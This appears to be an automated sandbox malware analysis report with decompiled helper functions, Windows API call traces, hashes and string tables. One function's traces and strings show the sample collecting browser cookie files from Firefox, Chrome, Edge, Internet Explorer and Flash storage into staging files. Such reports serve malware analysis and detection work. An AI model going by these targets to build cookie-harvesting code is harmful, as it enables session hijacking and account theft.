Part of subcall function 0047181F: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00471837

Part of subcall function 00477753: lstrlen.KERNEL32(7671BB27,?,00000000,?,7671BB27), ref: 00477787
Part of subcall function 00477753: StrStrA.SHLWAPI(00000000,?), ref: 00477794
Part of subcall function 00477753: RtlAllocateHeap.NTDLL(00000000,?), ref: 004777B3
Part of subcall function 00477753: memcpy.NTDLL(00000000,0000000B,0000000B), ref: 004777C7
Part of subcall function 00477753: memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 004777D6
Part of subcall function 00477753: memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 004777F1

HeapFree.KERNEL32(00000000,00000000,?), ref: 004774AB

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heapmemcpy$Allocate$Freelstrlen
String ID:
API String ID: 4098479933-0
Opcode ID: 0fa649afc54ff7e12f6757195f398f781694da8dce6e5d63c825fb896167ee1b
Instruction ID: 3696c3b489757a727ec883f48f4255ce2636b24a073e70013669365766ea7782
Opcode Fuzzy Hash: 0fa649afc54ff7e12f6757195f398f781694da8dce6e5d63c825fb896167ee1b
Instruction Fuzzy Hash: 3B016D76100504FFDB21CF55CC40EEA7BBAEB44354F10812AFA0D96170E739EE459B68

Uniqueness

Uniqueness Score: -1.00%

Function 00478FAB, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00478FAB(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E00477082(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E00476E8F(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x47d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x00478fb3
0x00479008
0x0047900d
0x00478fb5
0x00478fcf
0x00478fd3
0x00478fd8
0x00478fda
0x00478fea
0x00478ff6
0x00478fdc
0x00478fdc
0x00478fdf
0x00478fe4
0x00478fe4
0x00478fda
0x00478fd3
0x00479013

APIs

Part of subcall function 00476E8F: RegCloseKey.ADVAPI32(80000002,?,004719AA,3D0047C0,80000002,?,00000000,?,00000000,65696C43,80000002,00000000,?), ref: 00476F26

HeapFree.KERNEL32(00000000,?,00000000), ref: 00478FF6

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseFreeHeap
String ID:
API String ID: 1266433183-0
Opcode ID: 3a42178ce1e749356c73b1af02603d8bb917669bd4be71884584831fa707c50d
Instruction ID: d4778097d040b14362a052782c7628a8d084eaa4ed55e7b989b0273fa2caa3a9
Opcode Fuzzy Hash: 3a42178ce1e749356c73b1af02603d8bb917669bd4be71884584831fa707c50d
Instruction Fuzzy Hash: BB014B32140289FBCB229F54CC46FAA3B66FB94350F14C42AFA1D4A161DA358961EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00471B68, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00471B68(void* __edx, void* __edi, void* _a4) {
				int _t7;
				int _t13;

				_t7 = E00478186(__edx, __edi, _a4,  &_a4); // executed
				_t13 = _t7;
				if(_t13 != 0) {
					memcpy(__edi, _a4, _t13);
					 *((char*)(__edi + _t13)) = 0;
					E004770FF(_a4);
				}
				return _t13;
			}

0x00471b74
0x00471b79
0x00471b7d
0x00471b84
0x00471b8f
0x00471b93
0x00471b93
0x00471b9c

APIs

Part of subcall function 00478186: memcpy.NTDLL(00000000,00000090,00000002,00000002,004787B7,00000008,004787B7,004787B7,?,0047867C,004787B7), ref: 004781BC
Part of subcall function 00478186: memset.NTDLL ref: 00478231
Part of subcall function 00478186: memset.NTDLL ref: 00478245

memcpy.NTDLL(00000002,004787B7,00000000,00000002,004787B7,004787B7,004787B7,?,0047867C,004787B7,?,004787B7,00000002,?,?,004791D2), ref: 00471B84

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: 6df22bc4fd95822f180ac903808f573e9c23f3e490361b8e084c500166f732a6
Instruction ID: 25f226bc3345dad7fe33cafe11198b87115b56838373d687bfc867b0dcb3e71b
Opcode Fuzzy Hash: 6df22bc4fd95822f180ac903808f573e9c23f3e490361b8e084c500166f732a6
Instruction Fuzzy Hash: ACE0867250511877C7123A95DC01DFB7F5DCF51791F04C01AFD0C55202E625D95093E5

Uniqueness

Uniqueness Score: -1.00%

Function 0235B64B, Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0235B655

Part of subcall function 02352AEF: RegOpenKeyExA.KERNEL32(?,00000000,00000000,00020119,?,?,Software\AppDataLow\Software\Microsoft\,00000000), ref: 02352B28
Part of subcall function 02352AEF: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,Software\AppDataLow\Software\Microsoft\,00000000), ref: 02352B3C
Part of subcall function 02352AEF: RegCloseKey.ADVAPI32(?,?,Client32,?,?,?,Software\AppDataLow\Software\Microsoft\,00000000), ref: 02352B85

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Open$Closememset
String ID:
API String ID: 1685373161-0
Opcode ID: 28d677047949aad0d29c9505330691af5ffa97ef1c450b9e9b09d4983a49d7e7
Instruction ID: 18daaa4592b40484d4877f7103f3a0cc3b488862aa2cc002ff7f641e320ec24a
Opcode Fuzzy Hash: 28d677047949aad0d29c9505330691af5ffa97ef1c450b9e9b09d4983a49d7e7
Instruction Fuzzy Hash: 1BE0E23054010CB7EF30AE14CC01F8A3B96EB10750F108020BE1CA9161DA72AA659B80

Uniqueness

Uniqueness Score: -1.00%

Function 02348E8F, Relevance: 1.3, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,?,02363648,0000002C,02349E7D,NTDLL.DLL,6547775A,?,02341E6C), ref: 02348EA9

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9b5b6a59ea9f40f6af3eaf9c3165786946d1c1263f2e0cd3a4bea12fdcd07126
Instruction ID: a47e2bf8067909c7cedcd9d67a7d33adc75d1893bf9eb836610cfc9e51513292
Opcode Fuzzy Hash: 9b5b6a59ea9f40f6af3eaf9c3165786946d1c1263f2e0cd3a4bea12fdcd07126
Instruction Fuzzy Hash: 2FD0E230E002199BCB219B94DC49ADEFB75BB08B10F608264E86067194C7301915CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004770FF, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004770FF(void* _a4) {
				int _t2;

				_t2 = HeapFree( *0x47d238, 0, _a4); // executed
				return _t2;
			}

0x0047710b
0x00477111

APIs

HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 38db8613e33a2976e0c289b86e89b3deb6a32c76693805422f3cecb3e1edc249
Instruction ID: 6974e240c47fccb1efb3824aedcd2ba00adfd11ffc77b2342c00ded69c5763bd
Opcode Fuzzy Hash: 38db8613e33a2976e0c289b86e89b3deb6a32c76693805422f3cecb3e1edc249
Instruction Fuzzy Hash: 7EB01231400100EBCA114F40DD04F09FB31BF50700F204434B24804070873144A1FB0D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02356C29, Relevance: 63.2, APIs: 19, Strings: 17, Instructions: 238memorystringfileCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(%APPDATA%,02361AC5,00000000,?,00000000), ref: 02356C41

Part of subcall function 02349945: lstrlenW.KERNEL32(?,account{*}.oeaccount,00000001,?,00000250,?,00000000), ref: 02349991
Part of subcall function 02349945: lstrlenW.KERNEL32(?,?,00000000), ref: 0234999D
Part of subcall function 02349945: memset.NTDLL ref: 023499E5
Part of subcall function 02349945: FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349A00
Part of subcall function 02349945: lstrlenW.KERNEL32(00000000), ref: 02349A38
Part of subcall function 02349945: lstrlenW.KERNEL32(?), ref: 02349A40
Part of subcall function 02349945: memset.NTDLL ref: 02349A63
Part of subcall function 02349945: wcscpy.NTDLL ref: 02349A75

Part of subcall function 02349945: PathFindFileNameW.SHLWAPI(0000001C), ref: 02349A9B
Part of subcall function 02349945: RtlEnterCriticalSection.NTDLL(?), ref: 02349AD0
Part of subcall function 02349945: RtlLeaveCriticalSection.NTDLL(?), ref: 02349AEC
Part of subcall function 02349945: FindNextFileW.KERNEL32(?,00000000), ref: 02349B05
Part of subcall function 02349945: WaitForSingleObject.KERNEL32(00000000), ref: 02349B17
Part of subcall function 02349945: FindClose.KERNEL32(?), ref: 02349B2C
Part of subcall function 02349945: FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349B40
Part of subcall function 02349945: lstrlenW.KERNEL32(00000000), ref: 02349B62

RtlAllocateHeap.NTDLL(00000000,00000036,%APPDATA%\Mozilla\Firefox\Profiles), ref: 02356C88
memcpy.NTDLL(00000000,%APPDATA%,00000000,?,00000000), ref: 02356C9D
lstrcpyW.KERNEL32(00000000,\Macromedia\Flash Player\), ref: 02356CAD

Part of subcall function 02349945: FindNextFileW.KERNEL32(?,00000000), ref: 02349BD8
Part of subcall function 02349945: WaitForSingleObject.KERNEL32(00000000), ref: 02349BEA
Part of subcall function 02349945: FindClose.KERNEL32(?), ref: 02349C05

HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02356CD1
RtlAllocateHeap.NTDLL(00000000,0000020C), ref: 02356CE9
HeapFree.KERNEL32(00000000,00000000), ref: 02356D35
lstrlenW.KERNEL32(00000000,%userprofile%\AppData\Local\,?,00000000), ref: 02356D54
RtlAllocateHeap.NTDLL(00000000,?), ref: 02356D66
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02356DBD
HeapFree.KERNEL32(00000000,00000000), ref: 02356DCF
CreateDirectoryW.KERNEL32(00000000,00000000,%userprofile%\AppData\Local\,?,00000000), ref: 02356DF6
lstrlenW.KERNEL32(\cookie.ed,%userprofile%\AppData\Local\,?,00000000), ref: 02356E29
lstrlenW.KERNEL32(\cookie.cr,%userprofile%\AppData\Local\,?,00000000), ref: 02356E3E
lstrlenW.KERNEL32(\cookie.ff,%userprofile%\AppData\Local\,?,00000000), ref: 02356E53
lstrlenW.KERNEL32(\cookie.ie,%userprofile%\AppData\Local\,?,00000000), ref: 02356E68
DeleteFileW.KERNEL32(?,%userprofile%\AppData\Local\,?,00000000), ref: 02356E98
HeapFree.KERNEL32(00000000,?), ref: 02356EA6
HeapFree.KERNEL32(00000000,?), ref: 02356EC9

Strings

Google\Chrome\User Data\Default, xrefs: 02356D6E
cookies.sqlite-journal, xrefs: 02356C6F
\cookie.ff, xrefs: 02356E4D, 02356E52
\cookie.ed, xrefs: 02356E23, 02356E28
%APPDATA%\Mozilla\Firefox\Profiles, xrefs: 02356C59, 02356C5E, 02356C74
Microsoft\Edge\User Data\Default, xrefs: 02356D91
%APPDATA%, xrefs: 02356C34, 02356C97
\Macromedia\Flash Player\, xrefs: 02356CA5
\cookie.cr, xrefs: 02356E38, 02356E3D
\cookie.ie, xrefs: 02356E62, 02356E67, 02356E83
cookies.sqlite, xrefs: 02356C54
*.sol, xrefs: 02356CBC
%userprofile%\AppData\Local\, xrefs: 02356D3B
*.cookie, xrefs: 02356D20
cookies, xrefs: 02356D86, 02356DA8
*.txt, xrefs: 02356D0A
\sols, xrefs: 02356E77

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$Heap$Find$FileFree$Allocate$CloseCriticalFirstNextObjectSectionSingleWaitmemset$CreateDeleteDirectoryEnterLeaveNamePathlstrcpymemcpywcscpy
String ID: %APPDATA%$%APPDATA%\Mozilla\Firefox\Profiles$%userprofile%\AppData\Local\$*.cookie$*.sol$*.txt$Google\Chrome\User Data\Default$Microsoft\Edge\User Data\Default$\Macromedia\Flash Player\$\cookie.cr$\cookie.ed$\cookie.ff$\cookie.ie$\sols$cookies$cookies.sqlite$cookies.sqlite-journal
API String ID: 1436586947-1887243743
Opcode ID: 9a9143fe126b57875e306b7544970b96c85e50c2e26acddb9cced0e6452bb704
Instruction ID: ab243dc27f729f1e673f1e8a6472ce7ef39b9ae4205c828209c9c7399ce7f3a2
Opcode Fuzzy Hash: 9a9143fe126b57875e306b7544970b96c85e50c2e26acddb9cced0e6452bb704
Instruction Fuzzy Hash: A171B3B1984314BFD720AB65DC8DE6B7BFCEB89F44F008859F906A2106E6719918CF71

Uniqueness

Uniqueness Score: -1.00%

Function 003A25C8, Relevance: 48.5, APIs: 32, Instructions: 500
windowCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E003A25C8(struct HBITMAP__* __eax, struct HPALETTE__* __ecx, struct HPALETTE__* __edx, intOrPtr _a4, signed int _a8) {
				struct HBITMAP__* _v8;
				struct HPALETTE__* _v12;
				struct HPALETTE__* _v16;
				struct HPALETTE__* _v20;
				void* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				struct HDC__* _v36;
				BITMAPINFO* _v40;
				void* _v44;
				intOrPtr _v48;
				struct tagRGBQUAD _v52;
				struct HPALETTE__* _v56;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v132;
				intOrPtr _v136;
				void _v140;
				struct tagRECT _v156;
				void* __ebx;
				void* __ebp;
				signed short _t229;
				int _t281;
				signed int _t290;
				signed short _t292;
				struct HBRUSH__* _t366;
				struct HPALETTE__* _t422;
				signed int _t441;
				intOrPtr _t442;
				intOrPtr _t444;
				intOrPtr _t445;
				void* _t455;
				void* _t457;
				void* _t459;
				intOrPtr _t460;

				_t457 = _t459;
				_t460 = _t459 + 0xffffff68;
				_push(_t419);
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v20 = 0;
				if( *(_a8 + 0x18) == 0 ||  *(_a8 + 0x1c) != 0 &&  *(_a8 + 0x20) != 0) {
					if( *(_a8 + 0x18) != 0 ||  *(_a8 + 4) != 0 &&  *(_a8 + 8) != 0) {
						E003A2184(_v8);
						_v116 = 0;
						if(_v8 != 0 && GetObjectA(_v8, 0x54,  &_v140) < 0x18) {
							E003A0A7C();
						}
						_v28 = E003A0B90(GetDC(0));
						_v32 = E003A0B90(CreateCompatibleDC(_v28));
						_push(_t457);
						_push(0x3a2c16);
						_push( *[fs:edx]);
						 *[fs:edx] = _t460;
						if( *(_a8 + 0x18) >= 0x28) {
							_v40 = E003826CC(0x42c);
							_push(_t457);
							_push(0x3a2920);
							_push( *[fs:edx]);
							 *[fs:edx] = _t460;
							 *(_a8 + 0x18) = 0x28;
							 *((short*)(_a8 + 0x24)) = 1;
							if( *(_a8 + 0x26) == 0) {
								_t290 = GetDeviceCaps(_v28, 0xc);
								_t292 = GetDeviceCaps(_v28, 0xe);
								_t419 = _t290 * _t292;
								 *(_a8 + 0x26) = _t290 * _t292;
							}
							memcpy(_v40, _a8 + 0x18, 0xa << 2);
							 *(_a8 + 4) =  *(_a8 + 0x1c);
							_t441 = _a8;
							 *(_t441 + 8) =  *(_a8 + 0x20);
							if( *(_a8 + 0x26) > 8) {
								_t229 =  *(_a8 + 0x26);
								if(_t229 == 0x10) {
									L30:
									if(( *(_a8 + 0x28) & 0x00000003) != 0) {
										E003A257C(_a8);
										_t104 =  &(_v40->bmiColors); // 0x29
										_t441 = _t104;
										E003828C8(_a8 + 0x40, 0xc, _t441);
									}
								} else {
									_t441 = _a8;
									if(_t229 == 0x20) {
										goto L30;
									}
								}
							} else {
								if( *(_a8 + 0x26) != 1 || _v8 != 0 && _v120 != 0) {
									if(_v16 == 0) {
										if(_v8 != 0) {
											_v24 = SelectObject(_v32, _v8);
											if(_v116 <= 0 || _v120 == 0) {
												asm("cdq");
												GetDIBits(_v32, _v8, 0, ( *(_a8 + 0x20) ^ _t441) - _t441, 0, _v40, 0);
											} else {
												_t281 = GetDIBColorTable(_v32, 0, 0x100,  &(_v40->bmiColors));
												_t441 = _a8;
												 *(_t441 + 0x38) = _t281;
											}
											SelectObject(_v32, _v24);
										}
									} else {
										_t76 =  &(_v40->bmiColors); // 0x29
										_t441 = _t76;
										E003A1324(_v16, 0xff, _t441);
									}
								} else {
									_t441 = 0;
									_v40->bmiColors = 0;
									 *((intOrPtr*)(_v40 + 0x2c)) = 0xffffff;
								}
							}
							_v20 = E003A0B90(CreateDIBSection(_v28, _v40, 0,  &_v44, 0, 0));
							if(_v44 == 0) {
								E003A0AE8(_t419);
							}
							if(_v8 == 0 ||  *(_a8 + 0x1c) != _v136 ||  *(_a8 + 0x20) != _v132 ||  *(_a8 + 0x26) <= 8) {
								_pop(_t442);
								 *[fs:eax] = _t442;
								_push(0x3a2927);
								return E003826EC(_v40);
							} else {
								asm("cdq");
								GetDIBits(_v32, _v8, 0, ( *(_a8 + 0x20) ^ _t441) - _t441, _v44, _v40, 0);
								E0038391C();
								E0038391C();
								goto L61;
							}
						} else {
							if(( *(_a8 + 0x10) |  *(_a8 + 0x12)) != 1) {
								_v20 = E003A0B90(CreateCompatibleBitmap(_v28,  *(_a8 + 4),  *(_a8 + 8)));
							} else {
								_v20 = E003A0B90(CreateBitmap( *(_a8 + 4),  *(_a8 + 8), 1, 1, 0));
							}
							E003A0B90(_v20);
							_v24 = E003A0B90(SelectObject(_v32, _v20));
							_push(_t457);
							_push(0x3a2bc7);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							_push(_t457);
							_push(0x3a2bb6);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							_v56 = 0;
							_t422 = 0;
							if(_v16 != 0) {
								_v56 = SelectPalette(_v32, _v16, 0);
								RealizePalette(_v32);
							}
							_push(_t457);
							_push(0x3a2b94);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							if(_a4 == 0) {
								PatBlt(_v32, 0, 0,  *(_a8 + 4),  *(_a8 + 8), 0xff0062);
							} else {
								_t366 = E003A0118( *((intOrPtr*)(_a4 + 0x14)));
								E00395B00(0,  *(_a8 + 4), 0,  &_v156,  *(_a8 + 8));
								FillRect(_v32,  &_v156, _t366);
								SetTextColor(_v32, E0039F458( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18))));
								SetBkColor(_v32, E0039F458(E003A00DC( *((intOrPtr*)(_a4 + 0x14)))));
								if( *(_a8 + 0x26) == 1 &&  *((intOrPtr*)(_a8 + 0x14)) != 0) {
									_v52 = E0039F458( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18)));
									_v48 = E0039F458(E003A00DC( *((intOrPtr*)(_a4 + 0x14))));
									SetDIBColorTable(_v32, 0, 2,  &_v52);
								}
							}
							if(_v8 == 0) {
								_pop(_t444);
								 *[fs:eax] = _t444;
								_push(E003A2B9B);
								if(_v16 != 0) {
									return SelectPalette(_v32, _v56, 0xffffffff);
								}
								return 0;
							} else {
								_v36 = E003A0B90(CreateCompatibleDC(_v28));
								_push(_t457);
								_push(0x3a2b6a);
								_push( *[fs:eax]);
								 *[fs:eax] = _t460;
								_t455 = E003A0B90(SelectObject(_v36, _v8));
								if(_v12 != 0) {
									_t422 = SelectPalette(_v36, _v12, 0);
									RealizePalette(_v36);
								}
								if(_a4 != 0) {
									SetTextColor(_v36, E0039F458( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18))));
									SetBkColor(_v36, E0039F458(E003A00DC( *((intOrPtr*)(_a4 + 0x14)))));
								}
								BitBlt(_v32, 0, 0,  *(_a8 + 4),  *(_a8 + 8), _v36, 0, 0, 0xcc0020);
								if(_v12 != 0) {
									SelectPalette(_v36, _t422, 0xffffffff);
								}
								E003A0B90(SelectObject(_v36, _t455));
								_pop(_t445);
								 *[fs:eax] = _t445;
								_push(0x3a2b71);
								return DeleteDC(_v36);
							}
						}
					} else {
						goto L61;
					}
				} else {
					L61:
					return _v20;
				}
			}

0x003a25c9
0x003a25cb
0x003a25d1
0x003a25d4
0x003a25d7
0x003a25da
0x003a25df
0x003a25e9
0x003a260c
0x003a262b
0x003a2632
0x003a2639
0x003a2652
0x003a2652
0x003a2663
0x003a2674
0x003a2679
0x003a267a
0x003a267f
0x003a2682
0x003a268c
0x003a26f6
0x003a26fb
0x003a26fc
0x003a2701
0x003a2704
0x003a270a
0x003a2714
0x003a2722
0x003a272a
0x003a2737
0x003a273c
0x003a2743
0x003a2743
0x003a2757
0x003a2762
0x003a276b
0x003a276e
0x003a2779
0x003a2849
0x003a2851
0x003a285c
0x003a2863
0x003a2868
0x003a2870
0x003a2870
0x003a287e
0x003a287e
0x003a2853
0x003a2853
0x003a285a
0x00000000
0x00000000
0x003a285a
0x003a277f
0x003a2787
0x003a27b5
0x003a27d3
0x003a27e6
0x003a27ed
0x003a2822
0x003a2832
0x003a27f5
0x003a2807
0x003a280c
0x003a280f
0x003a280f
0x003a283f
0x003a283f
0x003a27b7
0x003a27ba
0x003a27ba
0x003a27c5
0x003a27c5
0x003a2795
0x003a2798
0x003a279a
0x003a27a6
0x003a27a6
0x003a2787
0x003a289f
0x003a28a6
0x003a28a8
0x003a28a8
0x003a28b1
0x003a290c
0x003a290f
0x003a2912
0x003a291f
0x003a28d6
0x003a28e6
0x003a28f6
0x003a28fb
0x003a2900
0x00000000
0x003a2900
0x003a268e
0x003a26a0
0x003a26e4
0x003a26a2
0x003a26c0
0x003a26c0
0x003a292a
0x003a2941
0x003a2946
0x003a2947
0x003a294c
0x003a294f
0x003a2954
0x003a2955
0x003a295a
0x003a295d
0x003a2962
0x003a2965
0x003a296b
0x003a297c
0x003a2983
0x003a2983
0x003a298a
0x003a298b
0x003a2990
0x003a2993
0x003a299a
0x003a2a70
0x003a29a0
0x003a29a6
0x003a29c4
0x003a29d4
0x003a29ec
0x003a2a06
0x003a2a13
0x003a2a2c
0x003a2a3f
0x003a2a4e
0x003a2a4e
0x003a2a13
0x003a2a79
0x003a2b73
0x003a2b76
0x003a2b79
0x003a2b82
0x00000000
0x003a2b8e
0x003a2b93
0x003a2a7f
0x003a2a8d
0x003a2a92
0x003a2a93
0x003a2a98
0x003a2a9b
0x003a2ab0
0x003a2ab6
0x003a2ac7
0x003a2acd
0x003a2acd
0x003a2ad6
0x003a2aeb
0x003a2b05
0x003a2b05
0x003a2b2d
0x003a2b36
0x003a2b3f
0x003a2b3f
0x003a2b4e
0x003a2b55
0x003a2b58
0x003a2b5b
0x003a2b69
0x003a2b69
0x003a2a79
0x00000000
0x00000000
0x00000000
0x003a2c1d
0x003a2c1d
0x003a2c26
0x003a2c26

APIs

GetObjectA.GDI32(00000000,00000054,?), ref: 003A2648
GetDC.USER32(00000000), ref: 003A2659
CreateCompatibleDC.GDI32(00000000), ref: 003A266A
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 003A26B6
CreateCompatibleBitmap.GDI32(00000028,00000000,?), ref: 003A26DA
SelectObject.GDI32(?,?), ref: 003A2937
SelectPalette.GDI32(?,00000000,00000000), ref: 003A2977
RealizePalette.GDI32(?), ref: 003A2983
SetTextColor.GDI32(?,00000000), ref: 003A29EC
SetBkColor.GDI32(?,00000000), ref: 003A2A06
SetDIBColorTable.GDI32(?,00000000,00000002,?), ref: 003A2A4E
FillRect.USER32(?,?,00000000), ref: 003A29D4

Part of subcall function 0039F458: GetSysColor.USER32 ref: 0039F462

PatBlt.GDI32(?,00000000,00000000,?,?,00FF0062), ref: 003A2A70
CreateCompatibleDC.GDI32(00000028), ref: 003A2A83
SelectObject.GDI32(?,00000000), ref: 003A2AA6
SelectPalette.GDI32(?,00000000,00000000), ref: 003A2AC2
RealizePalette.GDI32(?), ref: 003A2ACD
SetTextColor.GDI32(?,00000000), ref: 003A2AEB
SetBkColor.GDI32(?,00000000), ref: 003A2B05
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 003A2B2D
SelectPalette.GDI32(?,00000000,000000FF), ref: 003A2B3F
SelectObject.GDI32(?,00000000), ref: 003A2B49
DeleteDC.GDI32(?), ref: 003A2B64

Part of subcall function 003A0118: CreateBrushIndirect.GDI32(?), ref: 003A01C2

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorSelect$CreatePalette$Object$Compatible$BitmapRealizeText$BrushDeleteFillIndirectRectTable
String ID:
API String ID: 1299887459-0
Opcode ID: e2a026da39529204d8a5262064f6c9091f4bd907ec23dcf5987f1d2e5a5ab9d6
Instruction ID: 06bceb934f7dd4466645bda901e0da600766c5d01f6d4cd5e5a3f459b2d6d6fa
Opcode Fuzzy Hash: e2a026da39529204d8a5262064f6c9091f4bd907ec23dcf5987f1d2e5a5ab9d6
Instruction Fuzzy Hash: 2C12BB75A00209AFDB16EFA8C986F9EB7F8EB09310F118555F918EB291C775ED40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02349F54, Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 224memoryfiletimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,.dll), ref: 02349F82
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02349FA5
memset.NTDLL ref: 02349FC0

Part of subcall function 02348639: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,00000000,63699BCE,02349FD9,73797325), ref: 0234864A
Part of subcall function 02348639: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02348664

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0234A001
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0234A017
CloseHandle.KERNEL32(?), ref: 0234A031
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 0234A03E
lstrcat.KERNEL32(?,642E2A5C), ref: 0234A083
FindFirstFileA.KERNEL32(?,?), ref: 0234A098
CompareFileTime.KERNEL32(?,?), ref: 0234A0B6
FindNextFileA.KERNEL32(?,?), ref: 0234A0C9
FindClose.KERNEL32(?), ref: 0234A0D7
FindFirstFileA.KERNEL32(?,?), ref: 0234A0E2
CompareFileTime.KERNEL32(?,?), ref: 0234A102
StrChrA.SHLWAPI(?,0000002E), ref: 0234A13A
memcpy.NTDLL(?,?,00000000), ref: 0234A170
FindNextFileA.KERNEL32(?,?), ref: 0234A185
FindClose.KERNEL32(?), ref: 0234A193
FindFirstFileA.KERNEL32(?,?), ref: 0234A19E
CompareFileTime.KERNEL32(?,?), ref: 0234A1AE
FindClose.KERNEL32(?), ref: 0234A1E7
HeapFree.KERNEL32(00000000,?,73797325), ref: 0234A1FA
HeapFree.KERNEL32(00000000,?), ref: 0234A20B

Strings

.dll, xrefs: 02349F6D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity
